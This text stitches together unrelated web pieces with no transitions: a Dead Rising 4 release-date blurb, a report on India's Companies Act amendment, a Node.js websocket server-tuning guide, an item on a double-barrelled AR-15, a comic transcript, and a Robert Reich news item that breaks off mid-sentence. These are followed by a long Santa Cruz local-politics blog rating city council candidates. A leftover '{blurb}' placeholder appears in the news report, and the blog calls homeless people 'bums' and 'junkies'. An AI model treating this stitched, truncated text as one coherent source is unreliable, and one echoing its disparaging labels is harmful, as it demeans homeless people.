The date was pulled fairly quickly, and the site now says only that Dead Rising 4 is “coming soon.” The Microsoft Store, however, continues to list it as December 6, and Microsoft sealed the deal with a confirmation of the date sent to IGN.
We don't know much about Dead Rising 4 yet—beyond the whole "Christmas zombies" thing, that is—but Eurogamer captured 14 minutes of gameplay at E3 that you can check out below. So far, it's looking pretty good.The Lok Sabha on Wednesday approved the Companies Act (Amendment) Bill, 2014, which seeks to remove "oppressive provisions" in Companies law and to align it with international practices, with the government saying it will improve ease of doing business and attract investments.
Finance Minister Arun Jaitley, piloting the Bill, said the "oppressive provisions" have been removed from the Companies Act 2013 as it was felt "no body will come here to set up business if such an environment persists."
The Amendment Bill was passed by voice vote but not before opposition Congress created uproar as it wanted the legislation to be referred to the Standing Committee, a demand that was not accepted by the Chair.
Congress leader Mallikarjun Kharge said the government in "its hurry", was doing away with the traditional practice of referring important Bills to a Parliamentary committee.
While winding up the debate Jaitley said, the amendments will do away with draconian POTA (Prevention of Terrorism Act)-type provisions which had made it impossible for an accused for violating provisions of Companies Act to get bail.
"We are easing the environment for doing business," the Finance Minister said while justifying the amendments to the Companies Act.
Observing that some of the provisions in Companies Act had made doing business in the country extremely difficult, Jaitley said, the amendments sought to remove them as they crept in because of oversight.
"There were some (provisions) which was oversight and there were some which were left out and there were some which came in as part of this thinking that we must make doing business extremely difficult," the minister said.
The 14 amendments to the Companies Act include severe punishment for those raising illegal deposits from the public, a move that comes in the backdrop of Saradha scam in which those running chit funds duped lakhs of small investors.
To address concerns raised by the corporates, the government has also agreed to relax a number of norms including those pertaining to related-party transactions, while resolutions passed by the companies' boards would not be subjected to public inspection.
The new Companies Act came into force with effect from April 1 with some provisions yet to become operational. Many of the provisions have evoked strong criticism.
To improve ease of doing business, the proposed amendments include omitting requirement for minimum paid up share capital, and consequential changes and making common seal optional, and consequential changes for authorisation for execution of documents.
Besides, specific punishment will be prescribed for non-compliance to norms governing deposits taking activities.
Such a provision was "left out in the (existing) Act inadvertently".
None of the amendments has any "ulterior motive", Jaitley said, adding that allowing these provisions to continue would "disrupt" the investment environment of the country.
The 14 proposed amendments include provision to ensure that frauds beyond a certain threshold would need to be mandatorily reported by the auditors to the government.
This would be among the first major initiatives by the government to make changes in India's regulatory framework to improve its global ranking for ease of doing business, where the country has been ranked very low at 142nd position in the latest World Bank report.
{blurb}
Insisting that the Bill be referred to the Standing Committee, Kharge said this has been the practice. The former Union Minister cited the case of a labour ministry Bill in which just a word "workmen" was to be replaced with "workers" and it had to be referred to the Standing Committee.
"That Bill is still pending with the Standing Committee," Kharge said, adding he could cite innumerable such instances.
The former minister questioned whether the government ignored Congress just because its strength is too low in the House. Congress has 44 members in the 545-member Lower House.
Jyotiraditya Scindia, another Congress member, wanted to know if government was doing away with the process of Business Advisory Committee and the Standing Committee.
Members from Trinamool Congress, CPI-M, JD-U and RSP too demanded that the Bill be referred to the Standing Committee.I recently faced the challenge to get as much power as possible out of a AWS EC2 instance at the lowest possible cost using concurrent persistent websockets.
To do this I needed to use a event-driven, non-blocking runtime environment. For this particular purpose Node.js is excellent with its lightweight and fast Chrome V8 engine.
Technical decisions
Socket.io
I started out with using Socket.io for Node.js which worked out nicely as a start but since we are trying to get as much as possible out of the EC2 instance we needed something that is a little bit more light-weight. Also I noticed that since Socket.io v1.0 the cluster module doesn’t work. This removes the possibility to use this library on a environment with high load. Therefore I moved on to another websocket library Websockets/ws.
Works good and is lightweight. This is probably the fastest Websocket library for Node.js. The library has no built in keep alive functionality so you have to implement that yourself via the ping/methods available in the lib. Make sure that your AWS loadbalancers timeout is not set lower than your keepalive, if not, it will drop your connections.
Use the sticky-session Node.js module which enables you to run on all CPUs. Which you have to do in order to reach a high number of connections for one server. One CPU can only handle a certain amount of connections before the V8 GC goes wild and the CPU will stall on 100%.
M3.xlarge
After a lot of testing by generating users to create persistent websocket connections to the server and calculating the numbers up and down I finally decided to use a M3.xlarge EC2 instance to reach 620k idle connections. This gives us 4 CPUs and 15Gb of memory.
At this level of live persistent connections the CPU load is constantly at 100% on all CPUs on the server. The reason behind the high CPU load is the V8:s(Node.js engine) garbage collection. But this is after optimizing the GC. To have a stable runtime environment I suggest that you set the maximum connections to 600k before the CPU load starts to go crazy high, when reaching this connection amount it is definitely time to scale up another instance.
It is possible to reach a higher number of connections on a larger and more expensive EC2 instance that provides more CPU cores and more memory. When experimenting with this I reached 800k idle connections with a M3.2xlarge instance which gives you 8 CPUs and 30Gb of memory. But when you get over 600k connections other factors comes to limit the capacity, like money and the linux network implementation.
These numbers are for idle websocket connections handling only keepalive pings from the server. I’m sure if you have a high number of requests from the clients, the number of connections that the EC2 instance can handle will also decrease.
Configuration to reach 600k persistent connections
Node.js flags
Set the following flags to launch your node.js application:
Flags for executing the Node.js application node --nouse-idle-notification--expose-gc--max-new-space-size=2048--max-old-space-size=8192./server/websocketserver.js 1 node -- nouse - idle - notification -- expose - gc -- max - new - space - size = 2048 -- max - old - space - size = 8192. / server / websocketserver. js
–nouse-idle-notification
Turns of the idle garbage collection which makes the GC constantly run and is devastating for a realtime server environment. If not turned off the system will get a long hickup for almost a second once every few seconds.
–expose-gc
Use the expose-gc command to enable manual control of the GC from your code. I recommend to call GC once every 30 seconds.
–max-old-space-size=8192
Increases the limit for each V8 node process to use max 8Gb of heap memory instead of the 1,4Gb default on 64-bit machines(512Mb on a 32-bit machine).
–max-new-space-size=2048
Specified in kb and setting this flag optimizes the V8 for a stable allround environment with short pauses and ok high peak performance.
If this flag is not used the pauses will be a little bit longer but the machine will handle peaks a little bit better. What you need in this case depends on the project you are working on. My pick is to have an allround stable server instead of just handling peaks so I stick with this flag.
EC2 configuration
Set the “soft” and “hard” nofile limit to 1000000. Instead of using the “ulimit -n” as some people do I had to specify the “soft” and “hard” limits for both root and all other users, for some reason I had to specify them separately.
/etc/security/limits.d/custom.conf
/etc/security/limits.d/custom.conf root soft nofile 1000000 root hard nofile 1000000 * soft nofile 1000000 * hard nofile 1000000 1 2 3 4 root soft nofile 1000000 root hard nofile 1000000 * soft nofile 1000000 * hard nofile 1000000
Now set the amount of possible opened file handles and the size of the NAT ip connection tracking table.
/etc/sysctl.conf
/etc/sysctl.conf fs.file-max = 1000000 fs.nr_open = 1000000 net.ipv4.netfilter.ip_conntrack_max = 1048576 net.nf_conntrack_max = 1048576 1 2 3 4 fs. file - max = 1000000 fs. nr_open = 1000000 net. ipv4. netfilter. ip_conntrack_max = 1048576 net. nf_conntrack_max = 1048576
“fs.file-max”
The maximum file handles that can be allocated
“fs.nr_open”
Max amount of file handles that can be opened
“net.ipv4.netfilter.ip_conntrack_max”
Specifies how many connections the NAT can keep track of in the “tracking” table before it starts to drop packets and just break connections, this we totally want to avoid. The default value for this is 65536 so without this setting you wont be able to get more connections than that.Double-Barrelled AR-15 Going Into Full Production In United States (Video)
When this rifle first came into the public eye, we were less than enthusiastic. It seemed like a gimmick, and to be honest that’s how it started — they needed a “show stopper” for a military trade show. But instead of just being an interesting engineering product, Gilboa is going into full production right here in the United States to put these on the shelves and in the hands of American shooters... Since the ATF defines a “machine gun” as any firearm that fires multiple rounds with the pull of a single trigger, Gilboa is re-designing the rifle to have two individual triggers instead of the single trigger setup currently being used.
We’ve been promised one will be on its way to TTAG command central for a test as soon as it’s ready, and we’ll let you know how it works.
Tricky tricky. This is definitely a handsome looking assault weapon but it remains to be seen how well it fires, handles and how it does in the field. I am sure there will be legal battles as well with the government. If I could buy one, I probably would, it looks awesome.Transcript:
Tom the Dancing Bug by Ruben Bolling NATE in "Risky Management" NATE NATION Man: Nate, isn't there a PROBLEM with how CORPORATIONS deal with RISK? Nate: Nonsense! Why, I run my FAMILY like a corporation! Son: I raked the leaves, Dad! What should I do with the piles? Nate: Burn them! It's legal here, so it would be irresponsible NOT to. Wife: Nate, the brakes on the S.U.V. need to be fixed. Nate: Are you kidding? Do you know what that would do to our quarterly numbers? Daughter: Dad, I can't do this math homework. Nate: Can't you cheat off that brainy friend of yours? Daughter: But...what if I get caught cheating? Nate: I didn't say you should CHEAT. I just want results! WINK Neighbor: Hey, your leaf smoke is blowing into my house! COUGH COUGH Nate: Well, who could have guessed the wind would shift? Son: Dad, I feel sick. Are you sure this dollar-store bologna is safe? Nate: It's legal! And we hit our cost target! CRASH!! Nate: Awfully sorry things haven't worked out here! I'm off to start another family! Great results this month, though!Emily Chan, CTV Question Period,
A prominent U.S. political economist says Canada is moving toward American-style inequality, and believes austerity economics and tax cuts for corporations are making the problem worse.
Robert Reich, the secretary of labor during Bill Clinton’s presidency, now writes extensively on income equality and was in Canada this week speaking at an event for the Broadbent Institute.
“The United States economy and the Canadian economy are going on parallel courses,” Reich said in an interview on CTV Question Period.
With Japan moving into |
the participants in our program about the incident, and sent an email to all Jr. Guard parents this evening. Though these incidents are rare, they are very troubling when they occur. In an effort to keep the beach safe for Junior Guards and other beach users, staff will continue the beach maintenance program consisting of daily sifting and visual inspections of the beach.”
Did he actually say this was a “rare” occurrence? Define “rare”? As in “not daily”? Is he so oblivious to the fact it already happened AT LEAST TWICE EARLIER THIS YEAR. I like Scott. I know he means well. But he’s just a tool in city manager Martin Bernal’s continued deflection of dealing with this issue. Let’s just let our community’s children run around barefoot on a public beach where dirty needles are buried. I’m not saying MIGHT be buried, because recent events have shown us they ARE buried there.
And where do you think these needles are coming from? I’ll venture an educated guess. THEY COME FROM THE COUNTY OF SANTA CRUZ. Your tax dollars hard at work here. Of course, nobody can ever prove that they came from the county because the county is doing everything it can to stop any way of tracking needles back to their program. Transparency and accountability are dirty words when it comes to the COUNTY RUN FREE NEEDLES FOR JUNKIES program. I understand this is a County run program, and the city itself can’t do much to actually stop it. But they can do a much better job cleaning up the county’s mess on city property, or where the city is responsible for public safety. It’s just willful ignorance all the way around here.
Shooting on Ocean Street Goes Mostly Unreported and Unnoticed by the Community
I’ll bet most of you didn’t know there was a shooting on Ocean street on Friday night. At 9:30 PM on a Friday night on one of the central arteries in and out of Santa Cruz. It would have been PACKED with cars driving home from the Boardwalk (and there was a free Y&T concert at 6:30 and 8:30 that night). But apparently nobody saw anything. Nobody but KSCO radio (RADIO!) even bothered to report it as “newsworthy”. Don’t expect the city to broadcast this kind of news out! But I’d hope at least one of the lame local media companies (Senile, KSBW, KION) to pick it up. Nope. I’ll report it though! (Thanks MP for the tip!)
Here’s the blurb from KSCO:
“Santa Cruz police are investigating a shooting that took place on Friday night. Authorities say that patrol units responded to reports of a shooting victim on the 600 block of Ocean Street shortly after 9:30 p.m. At the scene officers located a gunshot victim, who was subsequently transported to a trauma center. Anyone with information on the shooting is encouraged to contact Santa Cruz police.”
Talk about a lack of details and information. Was nobody there? Little help! I can tell you the 600 block of Ocean is around Ocean and Dakota, and within a block of the county building. It’s one of the busiest blocks on Ocean and nobody seems to have seen anything. Or nobody’s saying anything. Publicly. It’s bad for business to be reporting shootings along the road everyone drives to get to the Boardwalk.
City of Santa Cruz Loses To Guy Dressed in a Dirty Bathrobe
In what might be the most laughable AND pathetic item I’ve ever reported on the Dump, the city of Santa Cruz lost an appeal filed by serial pain in the ass Robert Norse by a vote of 11-1.
Norse filed an appeal of the city’s recent reformed RV ordinance, which took years to develop and had been thoroughly watered down to appease any concerns that could possibly be raised by the Coastal Commission. Scott Collins represented the city and seemed over his head here. Where was the City Attorney, the guy the city should be using to present the most compelling legal argument here? Not here. Where’s Martin Bernal, the city manager, the tail that wags the dog? Not here. Where’s the mayor? Not here. No, they sent Scott to deal with it. So they wouldn’t look bad when he lost. So they could blame him and deflect any blame on themselves. They set Scott up to fail here. They hung him out to dry. And they did this to him against ROBERT NORSE. Talk about adding insult to injury. I know Scott. I like Scott. I can’t really blame Scott here. Sure he could have been better prepared.
THE CITY COULD HAVE BEEN BETTER PREPARED. It’s not in Scott’s job description to have to argue city policy in front of the Coastal Commission. It is in Bernal’s job title to “manage the city” as city manager. What a useless waste of $250K a year we spend on this guy. We’ve been promised some ACTUAL reform here for YEARS and all we’ve gotten for it is lip service from Bernal. Now he can’t even get past the troll in the dirty bathrobe. What’s it going to take to replace Martin Bernal as city manager? Losing to Robert Norse is not a good look. It’s what happens when you have a clueless city manager.
Wait. How Did the City of Santa Cruz Lose to the Guy Dressed in a Dirty Bathrobe?
The Dump has the answers where nobody else does! We sent Hugh, our intrepid city council beat reporter, to cover the hearing as only Hugh can. Here’s Hugh’s coverage:
What an incredibly horrible experience that was. The California Coastal Commission held their monthly meeting at the Hilton in Scotts Valley. There was a panel of 12 people none of which live in Santa Cruz County. We have Dayna Bochco, wife of Steven Bochco – Creator of Law and Order lives in Northern CA, Effie Turbull-Sanders, an attorney and board member of Social Action Partners from SoCal and Martha McClure, Del Norte Board of Supervisor to name a few. Robert Norse was there in his bathrobe, teddy bear in belt and read his appeal. Norse was very well behaved, no bellowing, no pontificating, just read his gibberish to the commission. His usual band of kooks were in the audience doing “jazz hands” whenever they heard something they approved of. Some of the commissioners had a “WTF” look on their faces when he approached the mic in his robe. I thought this was a good sign.
I was so very wrong. Scott Collins had 3 minutes to respond to Norse’s appeal. Councilwoman Richelle Noroyan asked to speak for 1 of those minutes. And then it happened. The unthinkable. The Coastal Commission which is supposed to “protect and enhance California’s coast and ocean for present and future generations” suddenly became advocates of the homeless. I have no problem with anyone advocating for the homeless or for anything else they believe in. But do that on your own time. What followed were a series of lectures aimed at the City of Santa Cruz and everyone in it. Martha McClure said “I am really tired of everyone thinking that the homeless are all thieves and drug addicts. I am in a in a position, in my belief system that communities need to stop running people out and start finding a solution” So I ask you this Martha, can they park on your street? What is the discarded needle count in Crescent City? And while you are accusing people of making broad statements of the homeless did you not make a broad statement yourself by saying “everyone thinks the homeless are thieves and drug addicts”? Did anyone on this commission research on the services that ARE provided for those that are unhoused? And most importantly WHAT DOES THIS HAVE TO DO WITH PROTECTING AND ENHANCING CALIFORNIA’S COAST AND OCEAN FOR PRESENT AND FUTURE GENERATIONS?
Both Richelle and Scott asked the Commission why 35 other cities along the coast were allowed to have parking restrictions for over-sized vehicles without seeking a permit from the Coastal Commission. You know what that was met with? Martha McClure saying “I think we should go back to those 35 cities and revoke those parking ordinances” at which point Richelle yelled “Great! Then the RVs can start filtering into those communities and not impact Santa Cruz so much!”
BRAVO RICHELLE! BRAVO! Thank you for having the big voice. Thank you for standing up for the residents of Santa Cruz. Thank you for standing up for your constituents that have been writing to City Council and complaining about the trash, the feces, the drug dealing, the fighting, and the theft they are experiencing by having multiple RVs camped on their street with people camping in them. I hope these same people that have complained about these situations now in turn write to Richelle and thank her. She had our backs yesterday. Commissioner Steve Kinsey (from San Rafael) shamed Richelle for speaking the way she did, saying as an elected official she should know better. Sorry bro, that shit doesn’t cut it for me. YOU should know better. Everyone on this commission should. Don’t be coming into our community and telling us how we should handle it. Your job is to protect the ocean and beaches. It is NOT to tell communities how to deal with people living in RVs.
First City Council Candidate Forum Takes Place
The first forum for Santa Cruz city council candidates took place yesterday. Sponsored by the Association of Faith Communities, this was a very “progressive heavy” event. The sponsoring group also sponsors an ongoing program for the homeless where they share the burden among a series of local churches on different days of the week.
Candidates participating: Everyone!
Best Performance by a Candidate at the 1st Forum*:
Chris Krohn Martine Watkins Steve Pleich Steve Schnaar Jim Davis Dru Glover Robert Singleton J.M. Brown Cynthia Mathews Sandy Brown Nate Kennedy
*There’s no science to this. It’s just my humble opinion. It has nothing to do with my preferred candidates. It’s mostly about public speaking and who worked the room the best (or worst). And this event’s audience favored the progressive candidates over the moderate candidates, which resulted in mostly lower scores for some candidates who might otherwise score higher with a different audience. – BD
So here’s my personal observations and opinions about each candidate’s performance tonight:
Chris Krohn:
Used the podium (first to do so) and used it like a preacher working his congregation (to very good effect). He even got a couple “right ons” out of the crowd. Read a prepared script mostly, but went off script to hammer certain points home (the “preacher” effect). Really knew how to work the crowd. Kept wanting more, more, more! (but no discussion of how to pay for more). Ended his 5 minutes with bible quotes. At a church. The guy knows his audience here.
Martine Watkins:
Poised and very professional. Very good public speaker. Used the podium. No script. Stressed family and family issues. UCSC grad, masters in public policy. Good passion (without the fake dramatic effect like Pleich and Krohn), talked about integrity, data driven policy, and transparency! Even though she went last (they went alphabetically), she was one of the best, if not the best speaker. She didn’t get the best crowd reaction (that would be Krohn and Pleich) but she was the most poised and seemed the most “plug in ready” candidate. She did better than the mayor did. Impressed me.
Steve Pleich:
He starts out by thanking numerous people and plugging himself and he doesn’t bother to give his name (after the first couple candidates were admonished about it by the crowd and the MC). So his listening skills are suspect. He dropped a laundry list of all the stuff he’s volunteered for (and it’s quite the list) but his speech and delivery were monotone and rambling (the usual). He seemed to take credit for everything, including the handout everyone got. Ended it very loud and preachy (like Krohn) trying to work the crowd into a final frenzy over the homeless camping laws. Kind of worked but I think they were fired up mostly because he was, not over the issue. Didn’t use the podium, no script.
Steve Schnaar:
Good public speaker, used the podium to good effect, kind of soft spoken but got more animated as time went on. Played up “peace” theme. Passionate but rambled at times. Discussed a laundry list of pro homeless positions, mentioned Stacy Falls and the sanctuary camp, bike church and the homeless, etc. Came across as very “non kooky” for a kook sponsored candidate. Had a sense of humor, wasn’t all shouty and preachy like a few others, just calm and down to earth. He did pretty good actually, better than I anticipated. Good applause from crowd.
Jim Davis:
Jim Davis wore the hat! He’s a musician and looks every bit the part. I want to call him “Leonard” (as in “Lynyrd Skynyrd”). He’s a character. He writes jingles for KPIG. He showed up with a black eye. Claimed it was a car door and he considered coming out and saying he’s “fighting to be elected” (sense of humor! got good laughs). He wore a tie! Very supportive of the homeless issues, then he started RAILING on the needle exchange and the needles issue! Caught everyone off guard there. One minute they were cheering him on (homeless issues), then they fell silent (needles). But it didn’t stop or discourage him from putting the needle issue on BLAST here. Funny, engaging, even Drew (who was next in line) said it was hard to follow that. Not sure what to make of him now. Very progressive on some stuff, very moderate on others. The crowd loved the guy. Most “average joe” there.
Dru Glover:
It’s Brent’s favorite purple shirt! (Brent was there filming, good thing he wore a different shirt). Born and raised here, went to Harbor High. Moved to Washington to help mom’s business. Moved back and now works as program director for the resource center for non-violence. Talks way too fast, but he’s a good public speaker and he’s comfortable doing it. Tried to pack every talking point into his 5 minutes, no time to digest what he was saying. But a pretty good “elevator pitch” if he learns to slow down. Actually said the words “public safety” at one point!
Robert Singleton:
Didn’t use the podium and no script. Very comfortable at public speaking, good pacing and energy. Not monotone. Good passion. Good elevator pitch. Looked very young against the others (and a very old audience) but played off it well. “Investing in our future” was kind of his central theme. Talked data driven policy making. Crowd was pretty receptive to him. Cordial. Not “hallelujah” like some of the others got, but receptive and cordial. He did well, and will do better to a more moderate audience. He seems pretty comfortable and I think he’ll get even stronger as this plays out.
J.M Brown:
He went first so he kind of got lost and forgotten by the end of the line. Didn’t have the benefit of the warmed up crowd so the reaction was kind of meh. They liked him ok. He “came out” to the crowd and discussed the challenges of being gay and accepted by the faith based community. Said “affordable housing” is his top priority. He actually said the words “public safety” but not with any real substance behind it. More like he was just dropping the expression for those that wanted to hear it mentioned (like me). At least they are talking about it now! But he did fine, maybe not his crowd so a bit uncomfortable, and going first is tough. He spoke very monotone and it just kind of droned on after a couple minutes.
Cynthia Mathews:
It’s hard for me to rank her so low here but it was a tough crowd for her. Many in the crowd blame her for the issues they are railing on. But the crowd was polite and respectful, no shouting or booing. She did fine, but it just felt like she was “phoning it in” here (to a mostly hostile but respectful crowd). She just felt kind of out of place. No real passion, lacked energy, monotone delivery, but she handled it like a professional (that was phoning it in). She also said those 2 words I want to hear (“public safety”) but again it was in passing without any real substance behind it. Almost a humble brag when she discussed “experience”. One thing I cringed at was when she said (and this is a quote) that the issues we face locally are “eternally a work in progress”. Is that a nice way of saying nothing ever gets done in the status quo world we live in?
Sandy Brown:
Sandy Brown bombed here. She was completely unprepared. No script. She yammered and hemmed and hawed her way through about 3 minutes, gave her background in a rambling sort of way, no continuity, no solutions, no mention of any issues other than she doesn’t like city hall. She had nothing. Nothing to offer. No solutions. Awful public speaker. She looked and acted like someone who just walked in off the street and had no idea why they were there.
Nate Kennedy:
Nate is Nate. He brought color and flair to the debates as I hoped he would. He made people laugh. Uncomfortably. Not so much with him but at him. He talked about mierda. He talked a lot about mierda. He was kind of the comic relief. He lightened the mood but nobody really took him seriously here.
Candidates who uttered the words “public safety” tonight: J.M. Brown, Dru Glover, Cynthia Mathews
Coming next week: I start dropping endorsements!
Transient Fight Results in Stabbing Along San Lorenzo River Levee
In another example of over tolerated degenerative behavior downtown gone bad, two transients got into a fight which resulted in one bum stabbing the other one. The fight apparently started as a fist fight on the footbridge crossing the river and carried down onto the levee where the man was stabbed.
According to Dep. Chief Steve Clark, the man suffered “significant stab wounds” and was transported to a trauma center in the Bay Area. “He was totally uncooperative with our officers and refused to acknowledge any of the details of the incident,” Clark said. What a gem this guy is. Can we roll out the welcome mat for him here? Why not.
At least the local Senile covered this incident. You can read more here.
Santa Cruz Begins San Lorenzo River Annual Maintenance Activities
The city of Santa Cruz began annual maintenance activities on the San Lorenzo River on August 8th. These activities include annual evaluation of the need for a low flow channel; sediment disking in channel gravel bars and at the toe of the levee slope; vegetation maintenance and removal; and storm drain maintenance and clean out. Without this maintenance, the flood protection of this system is significantly reduced. Work is expected to continue weekdays from 8 a.m. to 5 p.m. for approximately four weeks. According to the city, there will be minimal impact to vehicle, pedestrian and bicycle traffic. I’m not sure if they will be closing off the grassy areas along the levee as they’ve done in the past. While this is great for flood conveyance, it’s also a chance to clean out all the crap left behind by the local homeless that regularly pollutes the river and kills the fish and wildlife. And let’s hope none of the workers clearing the levee get stabbed by getting caught in the middle of any bum fights.
Drunk Falls Off Lost Boys Bridge
In what likely happens more often than we actually know about, a drunk suffered critical injuries after falling from the San Lorenzo River train trestle just before 2 a.m. Saturday. Two Boardwalk security officers pulled the unidentified man from the river and administered CPR with the aid of California Highway Patrol officers until Santa Cruz Fire personnel arrived on scene, according to Santa Cruz Fire Capt. Todd Meyer. There’s a perfectly good, safe pedestrian and bike path to the side of the bridge. But I can’t tell you how many foolhardy idiots I see walking the tracks. Add in drunk and dark and you have a recipe for a painful long drop into a shallow river. Just because the Lost Boys can fly, doesn’t mean you can.
Read more here!
Porta Potty Stolen From the Santa Cruz County Cycling Club
Keeping with the general theme of this website (mierda), I have to sadly report the theft of a porta-potty from the Santa Cruz County Cycling Club. This just in:
“Sometime in the hours of late last Friday or early (pre dawn) Saturday, someone stole a portapotty that we had rented for the SC Mtns Challenge! It was up on top of North Rodeo Road across the road from the view on top. Small reward offered. We are a small nonprofit and we are going to have to replace this if we cannot find the jerk who took it”
(Photo of the actual stolen porta-potty)
Who in the hell steals a porta-potty? Couldn’t find anything else to steal?
Free Concert With Foghat at the Boardwalk!
Rewarded with seven Gold records, one Platinum record, and one Double-Platinum record, Foghat has never stopped touring and recording. Foghat Live was a staple of mine growing up. The current lineup features original member Roger Earl, Craig MacGregor, Bryan Bassett (of Wild Cherry fame), and Charlie Huhn (former singer and guitarist with Ted Nugent). Today’s version has been together for 10 years since the passing of Lonesome Dave.
Last year they put on a hell of a show. Shows at 6:30 and 8:30 as usual.
New Microbrewery Coming to the Westside
Coming soon to Swift street: The Humble Sea Brewery. Plans are to occupy two tenant spaces within an existing multi-tenant industrial building at 820 Swift. One of the suites will be used for manufacturing and office functions (3,200 square feet), while the other will be used for a small (800 square foot) brewpub. An outdoor patio area would also be created. Construction is expected to begin in the late summer/early fall.
Hugh’s News!
Hugh is back! After missing the last meeting before the council took the month of July off, Hugh is back reporting the latest news and updates from city hall. I had a look at the agenda and it’s not particularly exciting this week. But that doesn’t mean there won’t be drama and righteous indignation! -BD
The Santa Cruz city council was back from their summer vacation (they took the month of July off so I did too). You’d kind of figure after missing a month they’d get down to some serious business. Nah. It was pretty boring. Sure the usual cast of colorful misfits showed up at 5 to complain about whatever they always complain about. Pat Kitler blathered on about Trump, Clinton and Israel. Aren’t oral communications supposed to be for items that the City Council can actually do something about? City Council Candidate Nate Kennedy brought up a very good point during oral communications. The “no smoking signs” on Pacific Ave are barely visible. But the whole meeting was pretty “breezy” shall we say, and was wrapped up by about 6PM. They did cover a few topics. There was a long and contentious discussion about a new housing project going up on River street. They mostly argued about the low income housing requirements. Micah actually kept his long speeches to a minimum (but Don Lane didn’t). They passed an ordinance requiring the safe disposal of drugs and sharps.
City Council Election Watch
We’re into August now and the race is heating up. Soon the candidates running for the city council will be seen walking the hoods, knocking on doors wanting to chat. I’m sure they are all very nice folks. Chat them up! Ask them why public safety isn’t their top priority! Because really, what’s more important than being safe? Nothing. I think being alive and healthy tops my personal wish list.
You’ll start seeing their signs popping up everywhere all over town. You’ll see them at community forums debating local topics. I’ll share what I know. It’s mostly opinion. I’m also going to rate them on what I’m calling my “Progress-o-meter”. 1 being a Trump Republican. 10 being Don Lane. If I deem a candidate worthy, I might throw an early “official endorsement” (think of it like the golden buzzer on America’s Got Talent). And I’ll add casual observations overall every now and then.
UPCOMING CANDIDATES FORUMS:
August 27: Democratic Women’s Club Candidate Forum, 155 Center St.
August 29: Candidate Forum, 301 Center St.
September 22: Downtown Association Candidate Forum, 307 Church St.
Declared Candidates:
J.M. Brown
Sandy Brown
Jim Davis
Dru Glover
Nate Kennedy
Chris Krohn
Cynthia Mathews
Steve Pleich
Steve Schnaar
Robert Singleton
Martine Watkins
J.M. Brown:
Brown is a former reporter for the Sentinel. He works in communications and brand management with a successful local firm, and has an impressive list of endorsements. He is currently serving as a City of Santa Cruz Parks and Recreation Commission member and a member of the Santa Cruz County Housing Advisory Commission. I wouldn’t go so far as to proclaim him a “moderate” candidate, but he’s moderate compared to most of the others.
Do I know them personally? No
Progressometer Rating: 7
Sandy Brown:
Sandy Brown is an assistant professor at the University of San Francisco and University of the Pacific. She previously worked for the local Community Action Board, and was previously a sustainable agriculture consultant with Swanton Berry Farms. She has taken part in the city’s Living Wage Advisory Committee, the Citizens’ Police Advisory Board and Santa Cruz County Women’s Commission. She also previously worked on the campaigns of former city council members Tim Fitzmaurice and Mardi Wormhoudt. She’s progressive. Real progressive.
Do I know them personally? No
Progressometer Rating: 9
Jim Davis:
I’m finally learning more about Jim Davis. Apparently he’s a sales rep for radio stations like KPIG locally, and he’s a musician that plays in a band. In a recent Senile interview, he was quoted as saying “I’m just kind of fed up with the City Council, the way it is right now. They talk a lot but they don’t really do much” (yeah, I’m personally feeling you there Jim……. – BD). Davis said he does not have any traditional government experience, having served on no boards or commissions, but said he believes he could do a better job than the sitting council, regardless. He also supports “safe spaces” for the homeless to sleep, and when asked about the homeless issue locally he said “I’m not saying I’ve got all the answers, I don’t. But I’ve got an open mind, I listen to people and I am really saddened. We have almost 3,000 people in Santa Cruz County, and Santa Cruz city has plenty, believe me. And we do nothing for them”. Say What!
Do I know them personally? No
Progressometer Rating: 9.5
Dru Glover:
Founder of “Project Pollinate”, a community activism group that likes to throw parties 4 times a year in San Lorenzo Park. Not sure if he works or what his paying job is. Seems to be popular with the younger “progressive” crowd (UCSC students in particular). Has never held public office before. Seems like a smart guy. I still can’t really find out much about his past. And I’m told he lives with everyone’s favorite local anarchist (who doesn’t want to be called an anarchist anymore). WARNING: ENDORSED BY MICAH POSNER
Do I know them personally? No
Progressometer Rating: 8
Nate Kennedy:
Hard to take Nate seriously. No website. I hope he does make the first forum at least. I doubt he has any money or support. I think he’s mostly running so that his ideas get heard. In reality, he has little to no chance of winning a seat. But he brings color and flair to the summer debates!
Do I know them personally? No
Progressometer Rating: 9
Chris Krohn:
Another former mayor and city council person comes back to try to haunt us. He is the Internship Director for the Environmental Studies Department at UCSC. He was elected to the Santa Cruz City Council in 1998 and was mayor of Santa Cruz in 2002. He’s been out of city politics for 14 years. Why on earth does anyone think we need him again? The Santa Cruz Weekly actually described him as “one of Santa Cruz’s most famously leftist former mayors”. He would be the reincarnation of Don Lane. He gets the Perfect 10 on the Progress-o-meter.
Do I know them personally? No
Progressometer Rating: 10
Cynthia Mathews:
Current mayor. Long time city council member. Long time property owner and manager. Has been involved in Santa Cruz politics for at least 20 years. Has been Mayor previously. She has had a history of leaning progressive but has become more moderate in recent years. I can’t really say we’re friends but I know her and I have a lot of respect for her. She always seems to have the best interests of the entire community in mind, not just a favored group.
Do I know them personally? Yes
Progressometer Rating: 6
Steve Pleich:
I’ve known Steve for a few years. Not really well but we know each other. I actually like Steve personally, but I have my issues with him on the city council. He seems to try every 4 years and always comes up well short, so I don’t really expect this time to be much different. He loves attention. He loves the limelight. He loves to hear himself talk. He has run twice before, largely on repealing the sleeping ban and other homeless issues. WARNING: ENDORSED BY MICAH POSNER
Do I know them personally? Yes
Progressometer Rating: 9.9
Steve Schnaar:
Founder and director of the Santa Cruz Fruit Tree project, and a volunteer mechanic for the Bike Church. Long time social activist. Has had previous issues with SCPD and the city council. Married to Stacy Falls, longtime progressive advocate for homeless issues and co-founder with Brent Adams of the sanctuary camp project. WARNING: ENDORSED BY MICAH POSNER
Do I know them personally? No
Progressometer Rating: 9
Robert Singleton:
Robert Singleton is a co-founder of Civinomics. He serves as a policy analyst for the Santa Cruz County Business Council, and was recently appointed to the Santa Cruz Downtown Commission. I’ve met him a couple times and he’s a nice enough guy. He’s smart, ambitious, and idealistic. He organized a survey on local homelessness that contradicted the “county sanctioned” ASR survey and showed better data collection methods that resulted in better, validated data. So he’s not afraid to tackle sensitive subjects and try to identify better solutions. He seems both progressive and pragmatic.
Do I know them personally? No
Progressometer Rating: 6
Martine Watkins:
A mother of two, Watkins works as the senior community organizer in the Santa Cruz County Office of Education. I know Hugh thinks highly of Watkins, and I think highly of Hugh’s opinion. She also has a strong, mixed bag list of endorsements from local politicians and leaders. I think she leans progressive but not when it gets in the way of public safety.
Do I know them personally? No. But Hugh does!
Progressometer Rating: 7
Local Food Porn
Kelly’s French Bakery, 402 Ingalls St, Santa Cruz
DeCinzotized – Classic Steven DeCinzo
Weekly Shoutouts!
